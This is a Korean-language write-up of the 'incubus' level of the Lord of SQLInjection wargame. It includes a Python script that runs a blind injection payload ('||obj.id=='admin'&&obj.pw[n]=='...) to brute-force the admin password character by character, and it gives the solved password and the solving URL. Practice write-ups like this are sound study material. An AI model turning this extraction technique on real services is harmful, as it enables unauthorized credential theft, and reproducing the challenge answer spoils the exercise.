> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/incubus.md).

# incubus

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-rXxiEOD7kawj2RIhn%2F-M-rY7rBMScwKe1XjVkU%2Fimage.png?alt=media\&token=2f28c1f0-a374-4805-bb9d-7f5f958c5ddf)

파이썬 코드를 짜면 아래와 같다.

```python
import requests
import string

URL = 'https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?pw='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# b47822ea
def find_pw():
    pw = ''
    pos = 0
    while True:
        found = False
        for character in string.printable:
            if query("'||obj.id=='admin'%26%26obj.pw[{}]=='{}".format(pos, character)) is True:
                pw += character
                found = True
                break
        if found is False:
            break
        pos += 1
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `b47822ea` 이다.

<https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?pw=b47822ea> 에 접속하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-r_t8ETeQvykoYnY3D%2F-M-r_uz5-sjAkA5rOSlc%2Fimage.png?alt=media\&token=8c48fb98-acb6-494b-a147-f4306724bb2a)